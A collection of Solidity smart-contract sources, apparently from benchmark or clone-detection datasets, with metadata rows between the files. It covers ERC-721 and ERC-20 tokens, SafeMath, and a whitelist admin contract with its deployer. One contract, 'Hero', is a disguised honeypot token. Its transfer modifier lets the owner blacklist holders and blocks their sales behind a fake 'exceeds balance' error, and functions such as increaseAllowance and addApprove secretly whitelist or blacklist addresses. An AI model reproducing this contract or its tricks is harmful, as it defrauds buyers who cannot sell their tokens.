/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from,
address _to,
uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return gemIndexToApproved[_tokenId] == _to;
}
/// For creating Gem
function _createGem(string _name, address _owner, uint256 _price) private {
Gem memory _gem = Gem({
name: _name
});
uint256 newGemId = gems.push(_gem) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newGemId == uint256(uint32(newGemId)));
Birth(newGemId, _name, _owner);
gemIndexToPrice[newGemId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newGemId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == gemIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Gem to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of gems is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
gemIndexToOwner[_tokenId] = _to;
// When creating new gems _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete gemIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 203,023 | 12,260 |
325bbeeb630d952b9e3dd4a6f9a55634bbcd51194519cd2aba96509feadd988e
| 30,014 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ef/efb66c6fc4e90a6eb2864b0bd5a93a2b4a2e465c_Hero.sol
| 3,392 | 12,609 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Hero is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x64f6d28f8fF48BE618c4d87d8c912d19b2aCBe0c;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 91,056 | 12,261 |
c4adf3fbafd6775d5fc172488ffc3b9b24cc3fb87dd2b6e65a3357b068c5b669
| 25,894 |
.sol
|
Solidity
| false |
301940069
|
eff-kay/solidity-nicad
|
3a3b3fe876ef57f52247aa371b9841ff2589b7e5
|
data/smart_contracts/ATDeployer.sol
| 4,629 | 19,714 |
pragma solidity ^0.5.2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Not Owner!");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),"Address 0 could not be owner");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IAdminTools {
function setFFPAddresses(address, address) external;
function setMinterAddress(address) external returns(address);
function getMinterAddress() external view returns(address);
function getWalletOnTopAddress() external view returns (address);
function setWalletOnTopAddress(address) external returns(address);
function addWLManagers(address) external;
function removeWLManagers(address) external;
function isWLManager(address) external view returns (bool);
function addWLOperators(address) external;
function removeWLOperators(address) external;
function renounceWLManager() external;
function isWLOperator(address) external view returns (bool);
function renounceWLOperators() external;
function addFundingManagers(address) external;
function removeFundingManagers(address) external;
function isFundingManager(address) external view returns (bool);
function addFundingOperators(address) external;
function removeFundingOperators(address) external;
function renounceFundingManager() external;
function isFundingOperator(address) external view returns (bool);
function renounceFundingOperators() external;
function addFundsUnlockerManagers(address) external;
function removeFundsUnlockerManagers(address) external;
function isFundsUnlockerManager(address) external view returns (bool);
function addFundsUnlockerOperators(address) external;
function removeFundsUnlockerOperators(address) external;
function renounceFundsUnlockerManager() external;
function isFundsUnlockerOperator(address) external view returns (bool);
function renounceFundsUnlockerOperators() external;
function isWhitelisted(address) external view returns(bool);
function getWLThresholdBalance() external view returns (uint256);
function getMaxWLAmount(address) external view returns(uint256);
function getWLLength() external view returns(uint256);
function setNewThreshold(uint256) external;
function changeMaxWLAmount(address, uint256) external;
function addToWhitelist(address, uint256) external;
function addToWhitelistMassive(address[] calldata, uint256[] calldata) external returns (bool);
function removeFromWhitelist(address, uint256) external;
}
interface IFactory {
function changeATFactoryAddress(address) external;
function changeTDeployerAddress(address) external;
function changeFPDeployerAddress(address) external;
function deployPanelContracts(string calldata, string calldata, string calldata, bytes32, uint8, uint8, uint256, uint256) external;
function isFactoryDeployer(address) external view returns(bool);
function isFactoryATGenerated(address) external view returns(bool);
function isFactoryTGenerated(address) external view returns(bool);
function isFactoryFPGenerated(address) external view returns(bool);
function getTotalDeployer() external view returns(uint256);
function getTotalATContracts() external view returns(uint256);
function getTotalTContracts() external view returns(uint256);
function getTotalFPContracts() external view returns(uint256);
function getContractsByIndex(uint256) external view returns (address, address, address, address);
function getFPAddressByIndex(uint256) external view returns (address);
function getFactoryContext() external view returns (address, address, uint);
}
interface IFundingPanel {
function getFactoryDeployIndex() external view returns(uint);
function isMemberInserted(address) external view returns(bool);
function addMemberToSet(address, uint8, string calldata, bytes32) external returns (bool);
function enableMember(address) external;
function disableMemberByStaffRetire(address) external;
function disableMemberByStaffForExit(address) external;
function disableMemberByMember(address) external;
function changeMemberData(address, string calldata, bytes32) external;
function changeTokenExchangeRate(uint256) external;
function changeTokenExchangeOnTopRate(uint256) external;
function getOwnerData() external view returns (string memory, bytes32);
function setOwnerData(string calldata, bytes32) external;
function getMembersNumber() external view returns (uint);
function getMemberAddressByIndex(uint8) external view returns (address);
function getMemberDataByAddress(address _memberWallet) external view returns (bool, uint8, string memory, bytes32, uint256, uint, uint256);
function setNewSeedMaxSupply(uint256) external returns (uint256);
function holderSendSeeds(uint256) external;
function unlockFunds(address, uint256) external;
function burnTokensForMember(address, uint256) external;
function importOtherTokens(address, uint256) external;
}
contract AdminTools is Ownable, IAdminTools {
using SafeMath for uint256;
struct wlVars {
bool permitted;
uint256 maxAmount;
}
mapping (address => wlVars) private whitelist;
uint8 private whitelistLength;
uint256 private whitelistThresholdBalance;
mapping (address => bool) private _WLManagers;
mapping (address => bool) private _FundingManagers;
mapping (address => bool) private _FundsUnlockerManagers;
mapping (address => bool) private _WLOperators;
mapping (address => bool) private _FundingOperators;
mapping (address => bool) private _FundsUnlockerOperators;
address private _minterAddress;
address private _walletOnTopAddress;
address public FPAddress;
IFundingPanel public FPContract;
address public FAddress;
IFactory public FContract;
event WLManagersAdded();
event WLManagersRemoved();
event WLOperatorsAdded();
event WLOperatorsRemoved();
event FundingManagersAdded();
event FundingManagersRemoved();
event FundingOperatorsAdded();
event FundingOperatorsRemoved();
event FundsUnlockerManagersAdded();
event FundsUnlockerManagersRemoved();
event FundsUnlockerOperatorsAdded();
event FundsUnlockerOperatorsRemoved();
event MaxWLAmountChanged();
event MinterOrigins();
event MinterChanged();
event WalletOnTopAddressChanged();
event LogWLThresholdBalanceChanged();
event LogWLAddressAdded();
event LogWLMassiveAddressesAdded();
event LogWLAddressRemoved();
constructor (uint256 _whitelistThresholdBalance) public {
whitelistThresholdBalance = _whitelistThresholdBalance;
}
function setFFPAddresses(address _factoryAddress, address _FPAddress) external onlyOwner {
FAddress = _factoryAddress;
FContract = IFactory(FAddress);
FPAddress = _FPAddress;
FPContract = IFundingPanel(FPAddress);
emit MinterOrigins();
}
function getMinterAddress() external view returns(address) {
return _minterAddress;
}
function setMinterAddress(address _minter) external onlyOwner returns(address) {
require(_minter != address(0), "Not valid minter address!");
require(_minter != _minterAddress, " No change in minter contract");
require(FAddress != address(0), "Not valid factory address!");
require(FPAddress != address(0), "Not valid FP Contract address!");
require(FContract.getFPAddressByIndex(FPContract.getFactoryDeployIndex()) == _minter,
"Minter is not a known funding panel!");
_minterAddress = _minter;
emit MinterChanged();
return _minterAddress;
}
function getWalletOnTopAddress() external view returns (address) {
return _walletOnTopAddress;
}
function setWalletOnTopAddress(address _wallet) external onlyOwner returns(address) {
require(_wallet != address(0), "Not valid wallet address!");
require(_wallet != _walletOnTopAddress, " No change in OnTopWallet");
_walletOnTopAddress = _wallet;
emit WalletOnTopAddressChanged();
return _walletOnTopAddress;
}
modifier onlyWLManagers() {
require(isWLManager(msg.sender), "Not a Whitelist Manager!");
_;
}
modifier onlyWLOperators() {
require(isWLOperator(msg.sender), "Not a Whitelist Operator!");
_;
}
modifier onlyFundingManagers() {
require(isFundingManager(msg.sender), "Not a Funding Panel Manager!");
_;
}
modifier onlyFundingOperators() {
require(isFundingOperator(msg.sender), "Not a Funding Panel Operator!");
_;
}
modifier onlyFundsUnlockerManagers() {
require(isFundsUnlockerManager(msg.sender), "Not a Funds Unlocker Manager!");
_;
}
modifier onlyFundsUnlockerOperators() {
require(isFundsUnlockerOperator(msg.sender), "Not a Funds Unlocker Operator!");
_;
}
function addWLManagers(address account) external onlyOwner {
_addWLManagers(account);
_addWLOperators(account);
}
function removeWLManagers(address account) external onlyOwner {
_removeWLManagers(account);
}
function isWLManager(address account) public view returns (bool) {
return _WLManagers[account];
}
function addWLOperators(address account) external onlyWLManagers {
_addWLOperators(account);
}
function removeWLOperators(address account) external onlyWLManagers {
_removeWLOperators(account);
}
function renounceWLManager() external onlyWLManagers {
_removeWLManagers(msg.sender);
}
function _addWLManagers(address account) internal {
_WLManagers[account] = true;
emit WLManagersAdded();
}
function _removeWLManagers(address account) internal {
_WLManagers[account] = false;
emit WLManagersRemoved();
}
function isWLOperator(address account) public view returns (bool) {
return _WLOperators[account];
}
function renounceWLOperators() external onlyWLOperators {
_removeWLOperators(msg.sender);
}
function _addWLOperators(address account) internal {
_WLOperators[account] = true;
emit WLOperatorsAdded();
}
function _removeWLOperators(address account) internal {
_WLOperators[account] = false;
emit WLOperatorsRemoved();
}
function addFundingManagers(address account) external onlyOwner {
_addFundingManagers(account);
_addFundingOperators(account);
}
function removeFundingManagers(address account) external onlyOwner {
_removeFundingManagers(account);
}
function isFundingManager(address account) public view returns (bool) {
return _FundingManagers[account];
}
function addFundingOperators(address account) external onlyFundingManagers {
_addFundingOperators(account);
}
function removeFundingOperators(address account) external onlyFundingManagers {
_removeFundingOperators(account);
}
function renounceFundingManager() external onlyFundingManagers {
_removeFundingManagers(msg.sender);
}
function _addFundingManagers(address account) internal {
_FundingManagers[account] = true;
emit FundingManagersAdded();
}
function _removeFundingManagers(address account) internal {
_FundingManagers[account] = false;
emit FundingManagersRemoved();
}
function isFundingOperator(address account) public view returns (bool) {
return _FundingOperators[account];
}
function renounceFundingOperators() external onlyFundingOperators {
_removeFundingOperators(msg.sender);
}
function _addFundingOperators(address account) internal {
_FundingOperators[account] = true;
emit FundingOperatorsAdded();
}
function _removeFundingOperators(address account) internal {
_FundingOperators[account] = false;
emit FundingOperatorsRemoved();
}
function addFundsUnlockerManagers(address account) external onlyOwner {
_addFundsUnlockerManagers(account);
}
function removeFundsUnlockerManagers(address account) external onlyOwner {
_removeFundsUnlockerManagers(account);
}
function isFundsUnlockerManager(address account) public view returns (bool) {
return _FundsUnlockerManagers[account];
}
function addFundsUnlockerOperators(address account) external onlyFundsUnlockerManagers {
_addFundsUnlockerOperators(account);
}
function removeFundsUnlockerOperators(address account) external onlyFundsUnlockerManagers {
_removeFundsUnlockerOperators(account);
}
function renounceFundsUnlockerManager() external onlyFundsUnlockerManagers {
_removeFundsUnlockerManagers(msg.sender);
}
function _addFundsUnlockerManagers(address account) internal {
_FundsUnlockerManagers[account] = true;
emit FundsUnlockerManagersAdded();
}
function _removeFundsUnlockerManagers(address account) internal {
_FundsUnlockerManagers[account] = false;
emit FundsUnlockerManagersRemoved();
}
function isFundsUnlockerOperator(address account) public view returns (bool) {
return _FundsUnlockerOperators[account];
}
function renounceFundsUnlockerOperators() external onlyFundsUnlockerOperators {
_removeFundsUnlockerOperators(msg.sender);
}
function _addFundsUnlockerOperators(address account) internal {
_FundsUnlockerOperators[account] = true;
emit FundsUnlockerOperatorsAdded();
}
function _removeFundsUnlockerOperators(address account) internal {
_FundsUnlockerOperators[account] = false;
emit FundsUnlockerOperatorsRemoved();
}
function isWhitelisted(address _subscriber) public view returns(bool) {
return whitelist[_subscriber].permitted;
}
function getWLThresholdBalance() public view returns (uint256) {
return whitelistThresholdBalance;
}
function getMaxWLAmount(address _subscriber) external view returns(uint256) {
return whitelist[_subscriber].maxAmount;
}
function getWLLength() external view returns(uint256) {
return whitelistLength;
}
function setNewThreshold(uint256 _newThreshold) external onlyWLManagers {
require(whitelistThresholdBalance != _newThreshold, "New Threshold like the old one!");
whitelistThresholdBalance = _newThreshold;
emit LogWLThresholdBalanceChanged();
}
function changeMaxWLAmount(address _subscriber, uint256 _newMaxToken) external onlyWLOperators {
require(isWhitelisted(_subscriber), "Investor is not whitelisted!");
whitelist[_subscriber].maxAmount = _newMaxToken;
emit MaxWLAmountChanged();
}
function addToWhitelist(address _subscriber, uint256 _maxAmnt) external onlyWLOperators {
require(_subscriber != address(0), "_subscriber is zero");
require(!whitelist[_subscriber].permitted, "already whitelisted");
whitelistLength++;
whitelist[_subscriber].permitted = true;
whitelist[_subscriber].maxAmount = _maxAmnt;
emit LogWLAddressAdded();
}
function addToWhitelistMassive(address[] calldata _subscriber, uint256[] calldata _maxAmnt) external onlyWLOperators returns (bool _success) {
assert(_subscriber.length == _maxAmnt.length);
assert(_subscriber.length <= 100);
for (uint8 i = 0; i < _subscriber.length; i++) {
require(_subscriber[i] != address(0), "_subscriber is zero");
require(!whitelist[_subscriber[i]].permitted, "already whitelisted");
whitelistLength++;
whitelist[_subscriber[i]].permitted = true;
whitelist[_subscriber[i]].maxAmount = _maxAmnt[i];
}
emit LogWLMassiveAddressesAdded();
return true;
}
function removeFromWhitelist(address _subscriber, uint256 _balance) external onlyWLOperators {
require(_subscriber != address(0), "_subscriber is zero");
require(whitelist[_subscriber].permitted, "not whitelisted");
require(_balance <= whitelistThresholdBalance, "balance greater than whitelist threshold");
whitelistLength--;
whitelist[_subscriber].permitted = false;
whitelist[_subscriber].maxAmount = 0;
emit LogWLAddressRemoved();
}
}
interface IATDeployer {
function newAdminTools(uint256) external returns(address);
function setFactoryAddress(address) external;
function getFactoryAddress() external view returns(address);
}
contract ATDeployer is Ownable, IATDeployer {
address private fAddress;
event ATDeployed(uint deployedBlock);
//constructor() public {}
modifier onlyFactory() {
require(msg.sender == fAddress, "Address not allowed to create AT Contract!");
_;
}
function setFactoryAddress(address _fAddress) external onlyOwner {
require(block.number < 8850000, "Time expired!");
require(_fAddress != address(0), "Address not allowed");
fAddress = _fAddress;
}
function getFactoryAddress() external view returns(address) {
return fAddress;
}
function newAdminTools(uint256 _whitelistThresholdBalance) external onlyFactory returns(address) {
AdminTools c = new AdminTools(_whitelistThresholdBalance);
c.transferOwnership(msg.sender);
emit ATDeployed (block.number);
return address(c);
}
}
| 159,395 | 12,262 |
d3f29459ace8d5762543a8e88e46defee045ab429f53ef55c9a4939230525327
| 15,651 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xe71467394718abf92b61b220b640f40e9e97f0e8.sol
| 3,990 | 14,742 |
pragma solidity ^0.5.0;
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable
{
address public Owner_master;
address public Owner_creator;
address public Owner_manager;
event ChangeOwner_master(address indexed _from, address indexed _to);
event ChangeOwner_creator(address indexed _from, address indexed _to);
event ChangeOwner_manager(address indexed _from, address indexed _to);
modifier onlyOwner_master{
require(msg.sender == Owner_master); _; }
modifier onlyOwner_creator{
require(msg.sender == Owner_creator); _; }
modifier onlyOwner_manager{
require(msg.sender == Owner_manager); _; }
constructor() public {
Owner_master = msg.sender; }
function transferOwnership_master(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_master;
Owner_master = _to;
emit ChangeOwner_master(from, _to);}
function transferOwner_creator(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_creator;
Owner_creator = _to;
emit ChangeOwner_creator(from, _to);}
function transferOwner_manager(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_manager;
Owner_manager = _to;
emit ChangeOwner_manager(from, _to);}
}
contract Helper
{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() view public returns (uint _supply);
function balanceOf(address _who) public view returns (uint _value);
function transfer(address _to, uint _value) public returns (bool _success);
function approve(address _spender, uint _value) public returns (bool _success);
function allowance(address _owner, address _spender) public view returns (uint _allowance);
function transferFrom(address _from, address _to, uint _value) public returns (bool _success);
}
contract LNX is Helper, Ownable
{
using SafeMath for uint;
string public name;
string public symbol;
uint public decimals;
uint constant private zeroAfterDecimal = 10**18;
uint constant private monInSec = 2592000;
uint constant public maxSupply = 2473750000 * zeroAfterDecimal;
uint constant public maxSupply_Public = 100000000 * zeroAfterDecimal;
uint constant public maxSupply_Private = 889500000 * zeroAfterDecimal;
uint constant public maxSupply_Advisor = 123687500 * zeroAfterDecimal;
uint constant public maxSupply_Reserve = 296850000 * zeroAfterDecimal;
uint constant public maxSupply_Marketing = 197900000 * zeroAfterDecimal;
uint constant public maxSupply_Ecosystem = 371062500 * zeroAfterDecimal;
uint constant public maxSupply_RND = 247375000 * zeroAfterDecimal;
uint constant public maxSupply_Team = 247375000 * zeroAfterDecimal;
uint constant public vestingAmountPerRound_RND = 4947500 * zeroAfterDecimal;
uint constant public vestingReleaseTime_RND = 1 * monInSec;
uint constant public vestingReleaseRound_RND = 50;
uint constant public vestingAmountPerRound_Advisor = 30921875 * zeroAfterDecimal;
uint constant public vestingReleaseTime_Advisor = 3 * monInSec;
uint constant public vestingReleaseRound_Advisor = 4;
uint constant public vestingAmountPerRound_Team = 247375000 * zeroAfterDecimal;
uint constant public vestingReleaseTime_Team = 48 * monInSec;
uint constant public vestingReleaseRound_Team = 1;
uint public issueToken_Total;
uint public issueToken_Private;
uint public issueToken_Public;
uint public issueToken_Ecosystem;
uint public issueToken_Marketing;
uint public issueToken_RND;
uint public issueToken_Team;
uint public issueToken_Reserve;
uint public issueToken_Advisor;
uint public burnTokenAmount;
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public approvals;
mapping (uint => uint) public vestingRelease_RND;
mapping (uint => uint) public vestingRelease_Advisor;
mapping (uint => uint) public vestingRelease_Team;
bool public tokenLock = true;
bool public saleTime = true;
uint public endSaleTime = 0;
event Burn(address indexed _from, uint _value);
event Issue_private(address indexed _to, uint _tokens);
event Issue_public(address indexed _to, uint _tokens);
event Issue_ecosystem(address indexed _to, uint _tokens);
event Issue_marketing(address indexed _to, uint _tokens);
event Issue_RND(address indexed _to, uint _tokens);
